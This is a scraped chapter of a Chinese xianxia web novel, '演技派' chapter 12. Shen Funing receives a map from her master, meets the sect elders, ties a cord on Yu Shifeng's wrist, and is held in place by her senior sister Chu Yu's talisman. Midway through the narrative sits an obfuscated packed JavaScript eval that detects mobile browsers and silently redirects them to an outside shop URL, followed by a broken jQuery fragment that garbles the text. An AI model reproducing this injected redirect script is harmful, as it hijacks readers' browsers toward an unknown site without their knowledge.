文趣网 > 其他小说 > 演技派 > 12. 第 12 章
    沈复宁讪笑,还想要隐瞒,装作自己没听懂,“什么灵力,我一直很好啊。”

    余顷霁意味深长的看着她,没拆穿,拉着她往一旁坐下,看着她手上戴着的手链,眼中满是怀念。

    沈复宁看着她,问:“师父为何这么早就出关了。”

    “明白了一些事情,便不需要再继续呆在那里面了。”她说道,“而且,闭关好无聊的。”

    沈复宁点了点头,对余顷霁的话深表赞同。

    “好了,别说我了。”余顷霁松开沈复宁的手,“你们打算第一站去哪里?”

    “没想好。”沈复宁如实说,用手撑着头,撒娇道:“不如师父给我一点建议。”

    余顷霁噙笑,伸出手轻叩了沈复宁的头,力道不重,却给了她撒泼的理由。

    “师父不仅不给我建议,还打我。”她揉着自己的头,伸出另一只手,语气不忿,“补偿。”

    余顷霁拍开她的手,“天大的事情都敢隐瞒,现在还好意思朝我要补偿。”

    “隐瞒什么?”沈复宁收回手,不满的说,“倒是师父突然喊我,又什么都不说,什么都不给,上来就是质问。”

    “你真是掉钱眼里去了。”余顷霁缓声道,看着她那双迥然有神的眼睛,此刻眼巴巴的望着她。

    叹了口气,抬手一扫,一张舆图便展现在了沈复宁的面前。

    沈复宁看看舆图,又看看余顷霁,“所以师父认为我应该去哪儿?”

    余顷霁笑着摇了摇头,“没有建议,只有礼物。”

    “哦。”沈复宁兴致不高的应了一声,抬眼看向余顷霁给她的礼物。

    眼神轻扫,却忽地失神,盯着一个地方失语半晌。

    余顷霁垂眸,勾唇,心中明白,她这徒弟大概已经有了目的地了。

    她转身,坐了回去,支着头,静静的看着沈复宁。

    沈复宁将舆图收到自己的乾坤袋中,重新走到余顷霁的身边,问她:“最后去一趟青屏山怎么样?”

    “青屏山啊。”余顷霁悠悠重复,开口却是另一番意义,“你大概不会愿意去那么迟的。”

    沈复宁思索了片刻师父话中的意味,又说:“师父曾经说过,青屏山中有个人同太初宗关系匪浅……”

    余顷霁打断了沈复宁,只是说:“以后你会知道的,但去青屏山之前,最好先回家一趟。”

    “嗯?”沈复宁明白了,这件事情她只会在太初宗这个她十分信任的环境告诉她。

    余顷霁摸了摸她的头,站起身,“好了,我今天只是来看看你伤的重不重,既然你没什么事我就走了。“

    说着,她凑近低声对沈复宁说:“否则,你二师父又要说我不务正业了。”

    “好吧。”沈复宁刚说完,余顷霁一个转身,便没了影。

    沈复宁盯着她离开的地方,不满的呢喃,“我来什么时候说话要靠猜了。”

    她朝那边努了下嘴,又将那副舆图拿了出来。

    她紧紧盯着瘴气弥漫又散开的一角,轻蹙眉头,伸出手在那个角落点了点,瘴城。

    一个名不见经传的小城,曾经瘴气弥漫,故得此名,可在几百年前,城中瘴气便被净化。

    可现在……瘴气好像再次重现了。

    沈复宁想去看看,可她有些犹豫,究竟要不要同他们一起呢?

    她眼神四处乱晃,最后停留在青屏山。

    “师父说去青屏山之前最好先回太初宗一趟。”她闭上眼,叹了口气。

    俞时逢在听见青屏山时的态度,他隐瞒的事情恐怕与他师父脱不了关系。

    沈复宁拍了拍桌子,站了起来,“不行,在去瘴城之前,必须弄清青屏山和太初宗的关系。”

    她的眼神逐渐清晰起来,她需要先回太初宗。

    沈复宁长叹出声,将舆图重新收回去,往外走。

    还没走两步,成群的六人就朝这边走了过来。

    她踌躇不前,甚至想要往后躲,只是还没有实施,就被人看见了。

    “你在躲什么?”

    沈复宁干笑两声,冲楚予招了招手,顾左右而言他,“你们来做什么?”

    “大比结束了,我们还没有正式的同长老们见过。”

    “对啊,昨天你俩倒了下去,将这一环节推到了今日啊。”

    沈复宁听着他们你一言我一语的,最后挠了挠头,跟在了楚予身边。

    楚予看了她一眼,问她,“想好去哪里了吗?”

    这个问题一出口,众人都将目光放在了沈复宁身上。

    沈复宁点了点头,没多说。

    “哪个地方啊?”姜柳依没忍住问了出口。

    沈复宁朝前方的宫殿抬了抬下巴,“一会儿就知道了。”

    花雾姒撇嘴,“这还要保密?”

    姜柳依用胳膊戳了戳姬齐结,“你不是爻机山的嘛,算一算。”

    姬齐结看了她一眼,眼神有些幽怨,没说话。

    “行了。”尤璟看不过去了,“一会儿就知道了。”

    沈复宁低下头,姜柳依真的是哪壶不开提哪壶。

    整个世界谁不知道爻机山自从几百年前那一次灾难之后,算的卦很少有准的,如今还来这么一问。

    也就是姬齐结脸皮薄,不好说话,要是换了旁人,必定跟她打上一场。

    姜柳依也知道自己说错了话,拉着花雾姒往后面走。

    花雾姒白了她一眼,随她拉了。

    俞时逢环抱着胳膊,走在最后不知道在想什么,花雾姒两人突然放慢了脚步,一时不查,两方相撞。

    沈复宁听到动静往后面看了一眼,恰好看到俞时逢的视线从她身上移开的瞬间,她嗤笑一声。

    楚予立马拉住了她,“就要到了,不要生事。”

    “哦。”沈复宁匆匆往后扫了一眼,俞时逢依旧避开视线。

    楚予看着沈复宁,叹了口气,轻轻拍了拍她,“不要逼迫人家。”

    沈复宁看着楚予,没有说话。

    楚予感受到沈复宁的眼神,拍了她一下,“看路。”

    沈复宁踉跄了下,抬脚跨国门槛,抬头看到关缈注视着她的严肃眼眸。

    她立刻站直身体,目视前方。

    坐在上方的五位长老,静静的看着他们,看起来没有打算开口的。

    花雾姒看着韶韵阁的长老,受不了了:“玉长老,喊我们过来又不说话是什么意思?”

    玉长老嗔怪地看向她,却也不好拂她的面子,毕竟是千娇万宠长大的少阁主。

    若是让她不高兴了,指不定回去了怎么给她找麻烦。

    “如今伤已痊愈,仙门大比本意,就是让各门派弟子结伴同行,互通所长,你们心中可有规划?”

    此话一出,众人商量好一样纷纷看向沈复宁。

    只有沈复宁看的是楚予,两相对视,最后还是楚予认命站了出来。

    “劳长老挂心,我七人一路结伴同行,余下计划我们沿途再细细商量,斟酌。”

    “你们心中有数便好。”徐长老立刻说,只是话锋一转,“不过按大比旧例,你们七人结伴历练三个月,这期间各派不得插手,也不得召回,你们可清楚?”

    厅中七人面面相觑,没人对这条规定有任何意见。

    关缈环顾一圈,“既然没有问题。”她从袖子中拿出枚令牌,走下去,将一枚令牌交给了楚予。

    “好好看着你师妹,别让她给太初宗惹上血仇。”

    “这不合规矩吧。”李长老出声阻止。

    “哪里不和。”正在给姬齐结塞东西的徐崇岳不高兴了。

    “他们的历练还未开始,自然没有不合。”尤长老眼神示意尤璟将他刚刚递给她的东西藏好。

    玉长老将自己的手往后藏了仓,“确实,既然还未开始,这只是给自家弟子一些叮嘱而已。”

    姜柳依眼巴巴的望着李焕梁,希望她也能给自己一些东西,羡慕的瞥了眼其他人,嘴型示意,“李姑姑,我的呢?”

    李焕梁说不过他们,最后将姜柳依拉到一角,不知在进行什么见不得光的交易。

    沈复宁双目无神地听着关缈一遍又一遍叮嘱楚予怎样管教自己的话。

    眼神四处游荡,最后定在了斜靠在柱子上的俞时逢,正神色游离地看着这片其乐融融地场面。

    沈复宁看了眼关缈,不动声色地退后了两步,在身上摸索了两下,拿出一根绳子,在手指上绕了两圈,在上面打了个结,走到了俞时逢的面前。

    一根绳子他的眼前乱晃,俞时逢下意识便伸手想将那根绳子拿在手中。

    拽了两下没有拽动,垂眸入眼的是沈复宁笑意盈盈的双眼。

    “大比获胜的礼物。”沈复宁将绳子抖了抖,俞时逢松开。

    沈复宁握起他的手腕,将绳子系在他手腕,还不忘占他的便宜,“这种时刻应该要长辈给你,但你师父不在,我就勉强承担一下他的责任吧。”

    说罢,踮起脚,伸出手轻轻拍了拍他的头,最后看着他的眼睛,认真的说:“俞时逢,万事平安。”

    沈复宁其实想了很多祝福语,但在看向他眼睛的时候,突然觉得,没有什么比祝他平安更好的了。

    俞时逢嘴唇翕动,想要说些什么,却被一阵咳嗽声给打断了。

    沈复宁朝声源看过去,楚予一脸严肃的看着她,关缈更是直接上手将她拉到了身后。

    关缈看了眼俞时逢的手腕,轻声开口:“你师父让我给你带句话。”

    沈复宁看着关缈,心中更加确定她需要立刻回一趟太初宗。

    关缈忽略沈复宁的注视,对俞时逢说:“他老人家说,三个月过后就尽快回去,山上的桃树该修剪了。”

    她说这话时看似面色平平,眼底却含着一丝极淡的笑意。

    俞时逢愣了一瞬,旋即点头,“弟子知道了。”

    关缈看都没看沈复宁,就打掉了对方在她乾坤袋中随便乱动的手。

    “疼。”沈复宁装模作样叫喊出声。

    “疼。”关缈学着她的语气,伸手捏着她的脸,警告她,“在外面别给你师姐找事。”

    “不会的。”沈复宁答道,“我不是那样的人。”

    “你不是那样的人。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845624|211731||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    关缈明显不相信她的话,从袋子里面拿出一沓符纸,放到了她手上。

    “行了,别掏了,这些都给你。”

    沈复宁看着那符纸,不明,“我自己就能画,不需要。”

    “留着吧。”关缈不客气的开口,“你只会在无计可施的时候用血画符。”

    “你的命还是很重要的,要好好珍惜。”

    关缈说的确实不错,沈复宁对此无话可说。

    “行了,我要回太初宗了。”她给楚予理了理碎发,最后叮嘱了一句,“凡事多想想自己,不用总想着顾全大局,你背后还有太初宗呢。”

    “听着没,还有太初宗呢。”沈复宁朝楚予挑眉,“所以放轻松。”

    关缈恨铁不成钢的打了沈复宁一下,“你不惹事,你师姐轻松了。”

    沈复宁立马说不出话了,关缈看她装乖,不想说话了。

    “行了,你俩好好游历,记着太初宗的祖训就行。”她转身跨过了门槛,“门派中还有事需要处理,就不送你们了。”

    沈复宁看着关缈风风火火回去的背影,在心中默默给自家师父点了根蜡。

    能让关缈在这种时候不管不顾的回去,除了是去跟刚出关的师父比试,她找不到第二个原因了。

    她回头看了看还在倾听长老叮嘱的几人,对楚予和俞时逢说:“行了,一会儿就要离开了,我先回去收拾东西。”

    楚予拉着沈复宁的手将她扯了回来。

    沈复宁不明白,疑惑的看着她。

    “你是回房间还是打算去别的地方?。”

    沈复宁干笑两声,冲楚予说:“当然是回房间啊。”

    “是吗?”楚予质问她,拿出一张符递给她,意思很明显,只要你贴上这个符,我就信你。

    “呵呵。”她挣脱楚予的手,眼睛看着那张符,“小鱼儿,你不相信我。”

    楚予没理她,举着符静静的看着她。

    沈复宁看向在一旁的俞时逢。

    “我们太初宗的家事,旁人最好不要插手。”楚予给了俞时逢一个冷眼。

    沈复宁懊恼的接过那张符纸,她怎么忘记了,楚予对于刚认识的人其实没有什么耐心。

    她朝楚予讪笑两下,认命的将符纸贴在身上,讨好地说:“现在我能走了吗?”

    “嗯。”楚予应了声。

    楚予刚同意,沈复宁立马抬脚往外走,刚跨过门槛,转过身,就放慢了脚步。

    “你想去哪儿?”俞时逢跟在她身后问。

    “哪儿都不想去。”她语气沉沉,原本是有计划的。

    可现在楚予将她的计划从根源上粉碎了,想都没了机会。

    俞时逢看了眼她身上贴的符,问了句:“没有办法挣脱吗?”

    “有啊!”沈复宁的心在呐喊,“可我下不去手啊!”

    楚予太狡猾了,她在楚予第一次给她用这张符的时候就有挣脱的方法。

    可过去这么多年了,她也就挣脱了那么一次,可就那么一次,害楚予在床上躺了三天。

    楚予在这符上加了道灵纹,只要她强行挣脱,灵纹便将符上符文逆转,灼烧画符者心脉。

    她怎么敢去赌楚予加的这道灵脉的作用有多强。

    楚予什么时候变得这么难说话了,明明之前对她都没有这么狠心的。

    “行了。”沈复宁认命了,她眼神暗淡的看着俞时逢,“你也回房间收拾东西吧,可能一会儿就走了。”

    俞时逢很少看到沈复宁这副无计可施的样子,有些稀奇,站在一旁欣赏了一会儿。

    沈复宁看他这样子,白了他一眼,继续往自己的房间走。

    到了房间,她坐在桌边,想不明白楚予为什么看得她这么严,之前从来没有过。

    之前她若是这样看管她,她也就没有机会在仙门大比之前溜下山了。

    又想到自己师父的不对劲,心中渐渐升起一个不太靠谱的猜测。

    不会是师父给小鱼儿下了什么命令吧。

    可不应该啊,师父对她一向是,只要不丧命,随她折腾。

    她低头看着身上的符,奔溃的用手磋磨自己的脑袋,恨不能将脑袋当成符给搓掉。

    很可惜,她这一招除了让她的精神面貌变得颓废之外,不会有任何附加作用。

    这张符纸有没有时间限制啊,她伸出手指开始戳那张纸,还没碰到就感受到一股压力。

    好的,沈复宁折服了,伸手将那张符纸抚平,不再去碰了。

    认命的去看这房间有没有值得带走的东西。

    虽然无法独自行动,但能在这里找到一些有用的东西也行啊。

    一刻钟后,沈复宁双目无神地看着那堆自己上蹿下跳找到的破铜烂铁。

    不是说云墟是整个大陆灵气最盛的地方吗,不是说云墟里面一株草都是能治百病的吗。

    她看着那堆东西,终于明白了一个道理,“传闻不可信。”

    “阿宁,我们进来了啊。”

    沈复宁眼睛一亮,楚予来了,她立马单手扶额,神色哀伤的样子看向门口,“小鱼儿,进来吧。”